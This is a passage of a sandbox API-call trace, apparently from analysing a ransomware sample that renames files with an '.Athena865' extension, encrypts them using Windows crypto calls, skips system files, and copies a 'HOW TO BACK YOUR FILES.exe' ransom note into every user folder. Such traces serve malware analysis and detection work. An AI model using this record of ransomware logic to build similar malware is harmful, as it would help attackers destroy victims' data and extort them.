returned -1 [0035.544] lstrlenW (lpString="sis") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0035.544] lstrlenW (lpString="spq") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0035.544] lstrlenW (lpString="te") returned 2 [0035.544] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0035.544] lstrlenW (lpString="teacher") returned 7 [0035.544] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0035.544] lstrlenW (lpString="tmd") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0035.544] lstrlenW (lpString="tps") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0035.544] lstrlenW (lpString="trc") returned 3 [0035.544] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0035.545] lstrlenW (lpString="trc") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0035.545] lstrlenW (lpString="trm") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0035.545] lstrlenW (lpString="udb") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0035.545] lstrlenW (lpString="udl") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0035.545] lstrlenW (lpString="usr") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0035.545] lstrlenW (lpString="v12") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0035.545] lstrlenW (lpString="vis") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0035.545] lstrlenW (lpString="vpd") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0035.545] lstrlenW (lpString="vvv") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0035.545] lstrlenW (lpString="wdb") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0035.545] lstrlenW (lpString="wmdb") returned 4 [0035.545] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0035.545] lstrlenW (lpString="wrk") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0035.545] lstrlenW (lpString="xdb") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0035.545] lstrlenW (lpString="xld") returned 3 [0035.545] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0035.545] lstrlenW (lpString="xmlff") returned 5 [0035.545] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0035.545] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.Athena865") returned 84 [0035.545] MoveFileExW (lpExistingFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.Athena865" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0035.546] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.Athena865" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0035.546] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=129) returned 1 [0035.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50e8b8 [0035.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0035.546] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518c50) returned 1 [0035.547] CryptGenRandom (in: hProv=0x518c50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.547] CryptReleaseContext (hProv=0x518c50, dwFlags=0x0) returned 1 [0035.547] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0035.575] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0035.576] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518c50) returned 1 [0035.576] CryptGenRandom (in: hProv=0x518c50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.576] CryptReleaseContext (hProv=0x518c50, dwFlags=0x0) returned 1 [0035.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50e930 [0035.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e930 | out: hHeap=0x4f0000) returned 1 [0035.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ddf8 [0035.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ddf8 | out: hHeap=0x4f0000) returned 1 [0035.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528028 [0035.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0035.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0035.577] CloseHandle (hObject=0x17c) returned 1 [0035.577] CloseHandle (hObject=0x154) returned 1 [0035.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e8b8 | out: hHeap=0x4f0000) returned 1 [0035.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0035.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.579] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3354e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0035.579] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0035.579] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3354e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0035.579] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0035.579] ReleaseMutex (hMutex=0xec) returned 1 [0035.579] CloseHandle (hObject=0xec) returned 1 [0035.579] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz" [0035.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51af88 | out: hHeap=0x4f0000) returned 1 [0035.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508ff0 | out: hHeap=0x4f0000) returned 1 [0035.579] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz") returned 46 [0035.579] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\86962625620EA2172F888A039B9E3D99") returned 0xec [0035.579] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0035.579] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz" [0035.579] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0035.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.580] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0035.580] GetLastError () returned 0x0 [0035.580] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0035.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52c410 [0035.580] ReadFile (in: hFile=0xf4, lpBuffer=0x52c410, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52c410*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0035.580] CloseHandle (hObject=0xf4) returned 1 [0035.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c410 | out: hHeap=0x4f0000) returned 1 [0035.580] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0035.580] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc35b640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0035.580] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.580] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.580] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0035.580] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc35b640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.580] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.580] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.580] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0035.580] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0035.580] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0035.580] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1 [0035.581] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1 [0035.581] lstrlenW (lpString="AppData") returned 7 [0035.581] lstrcpyW (in: lpString1=0x241e8a6, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0035.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508ff0 [0035.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x50e8b8 [0035.581] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0035.581] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0035.581] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.591] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0035.591] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0035.592] lstrlenW (lpString="Application Data") returned 16 [0035.592] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0035.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508f00 [0035.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x518920 [0035.592] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0035.592] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0035.592] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.597] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1 [0035.598] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1 [0035.598] lstrlenW (lpString="Contacts") returned 8 [0035.598] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0035.598] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts", dwFileAttributes=0x10) returned 1 [0035.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c428 [0035.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x50e930 [0035.598] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0035.598] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW TO BACK YOUR FILES.exe" [0035.598] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.600] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1 [0035.600] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1 [0035.601] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1 [0035.601] lstrlenW (lpString="Cookies") returned 7 [0035.601] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0035.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c440 [0035.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x50ddf8 [0035.601] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0035.601] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0035.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.606] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbbee4d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0035.606] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0035.606] lstrlenW (lpString="Desktop") returned 7 [0035.606] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0035.606] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop", dwFileAttributes=0x10) returned 1 [0035.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c458 [0035.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x50de70 [0035.606] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0035.606] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0035.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.609] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xac2caba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac2caba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", 